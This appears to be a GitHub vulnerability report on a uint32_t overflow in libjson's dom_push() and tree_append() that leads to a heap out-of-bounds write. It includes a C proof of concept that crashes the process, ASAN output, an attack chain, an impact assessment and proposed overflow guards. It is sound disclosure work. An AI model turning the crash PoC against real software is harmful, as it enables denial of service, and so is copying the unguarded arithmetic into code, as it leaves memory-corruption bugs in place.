Skip to content

dom_push() / tree_append() uint32_t overflow leads to undersized realloc and heap OOB write #32

Description

@xinyi234

Summary

libjson's dom_push() (json.c:986) computes new buffer sizes using uint32_t multiplication without overflow
guards. When stack_size reaches 0x80000000 or above, stack_size * 2 wraps to a tiny value in uint32_t,
causing realloc to shrink the stack buffer. Subsequent writes use the original, un-wrapped stack_offset,
resulting in a heap out-of-bounds write and SIGSEGV. The same overflow pattern also exists in tree_append()
(jsonlint.c:296,320) via length + 2 addition.

Affected Code

File Function Line
json.c dom_push() 986–991
jsonlint.c tree_append() (object branch) 296–301
jsonlint.c tree_append() (array branch) 320–327

Root Cause

dom_push — multiplication overflow (json.c:986)

static int dom_push(struct json_parser_dom *ctx, void *val)
{
    if (ctx->stack_offset == ctx->stack_size) {
        void *ptr;
        uint32_t newsize = ctx->stack_size * 2;          // ← overflow: wraps to e.g. 2
        ptr = memory_realloc(ctx->user_realloc, ctx->stack,
                             newsize * sizeof(*(ctx->stack)));
        if (!ptr)
            return JSON_ERROR_NO_MEMORY;
        ctx->stack = ptr;                                  // ← buffer now ~48 bytes
        ctx->stack_size = newsize;                         // ← e.g. 2
    }
    ctx->stack[ctx->stack_offset].val = val;               // ← OOB: offset is 0x80000001
    ctx->stack[ctx->stack_offset].key = NULL;
    ctx->stack[ctx->stack_offset].key_length = 0;
    ctx->stack_offset++;
    return 0;
}
  • Input: stack_size = stack_offset = 0x80000001
  • Overflow: 0x80000001 * 2 = 0x00000002 (wraps in uint32_t)
  • Consequence: realloc shrinks buffer to 2 × 24 = 48 bytes, then stack[0x80000001] writes ~96 GB past
    the allocation

tree_append — addition overflow (jsonlint.c:296,320)

uint32_t newsize = parent->length + 1 + 1;  // wraps when length >= 0xFFFFFFFE

Same pattern — newsize wraps, realloc shrinks, then the original length is used as the index for the OOB
write. Reaching ~4 billion elements is impractical in normal operation, so this path is lower severity.

Proof of Concept

#include <stdlib.h>
#include <string.h>
#include "json.h"

static void *cs(int n, int o) { (void)n; (void)o; return malloc(1); }
static void *cd(int t, const char *d, uint32_t l) { (void)t; return malloc(l+1); }
static int ap(void *p, char *k, uint32_t kl, void *v)
    { (void)p; (void)k; (void)kl; (void)v; return 0; }

int main(void) {
    json_parser_dom dom;
    memset(&dom, 0, sizeof(dom));
    dom.stack_size = 1024;
    dom.stack = calloc(dom.stack_size, sizeof(*dom.stack));
    dom.create_structure = cs;
    dom.create_data = cd;
    dom.append = ap;

    dom.stack_offset = 0x80000001;
    dom.stack_size   = 0x80000001;
    /*
     * dom_push: newsize = 0x80000001 * 2 → wraps to 2 in uint32_t
     *           realloc shrinks stack to 2 × sizeof(elem) = 48 bytes
     *           stack[0x80000001].val = v → heap OOB write → CRASH
     */
    json_parser_dom_callback(&dom, JSON_ARRAY_BEGIN, NULL, 0);
    return 0;
}

Compile and run:

gcc -fsanitize=address -g -o poc poc.c json.c && ./poc

ASAN output:

==197875==ERROR: AddressSanitizer: SEGV on unknown address 0x504c00000028
    #0 dom_push                    /libjson/json.c:994
    #1 json_parser_dom_callback    /libjson/json.c:1043
    #2 main                        /libjson/poc.c:41
    #3 __libc_start_main           (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: SEGV /libjson/json.c:994 in dom_push

Without ASAN the process exits with SIGSEGV (139).

Attack Chain

stack_size = stack_offset ≥ 0x80000000 (externally settable fields)
         │
         ▼
dom_push:  newsize = stack_size * 2  → wraps to ~2
         │
         ▼
realloc(stack, newsize * 24)  →  shrinks buffer to ~48 bytes
         │
         ▼
stack[0x80000001].val = val  →  writes 96 GB past allocation
         │
         ▼
SIGSEGV → process crash (DoS) / potential heap metadata corruption

Impact

Attack vector Impact
Direct json_parser_dom_callback() API call SIGSEGV — process crash (DoS)
Normal json_parser_string() parsing Not reachable — state machine cannot produce ≥ 2³¹ nesting
jsonlint CLI (tree_append overflow) Requires ~4 billion elements per object/array (impractical)
32-bit platforms Higher risk: sizeof(ptr) × newsize also participates in overflow
64-bit platforms Only newsize wraps; newsize × sizeof(...) is promoted to size_t

Proposed Fix

Fix — dom_push() overflow guard (json.c:985)

 static int dom_push(struct json_parser_dom *ctx, void *val)
 {
     if (ctx->stack_offset == ctx->stack_size) {
         void *ptr;
-        uint32_t newsize = ctx->stack_size * 2;
+        uint32_t newsize;
+        if (ctx->stack_size > UINT32_MAX / 2)
+            return JSON_ERROR_NO_MEMORY;
+        newsize = ctx->stack_size * 2;
+        if (newsize > SIZE_MAX / sizeof(*(ctx->stack)))
+            return JSON_ERROR_NO_MEMORY;
         p

<!-- Failed to upload "poc_n3.c" -->

tr = memory_realloc(ctx->user_realloc, ctx->stack,
                              newsize * sizeof(*(ctx->stack)));

Fix — tree_append() overflow guard (jsonlint.c:296,320)

+        if (parent->length >= UINT32_MAX - 1)
+            return 0;
         uint32_t newsize = parent->length + 1 + 1;

Environment

  • libjson version: latest master
  • OS: Linux x86_64 / Windows (MinGW)
  • Compiler: GCC (with and without -fsanitize=address)

References

  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write
  • CERT C INT30-C: Ensure that unsigned integer operations do not wrap

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions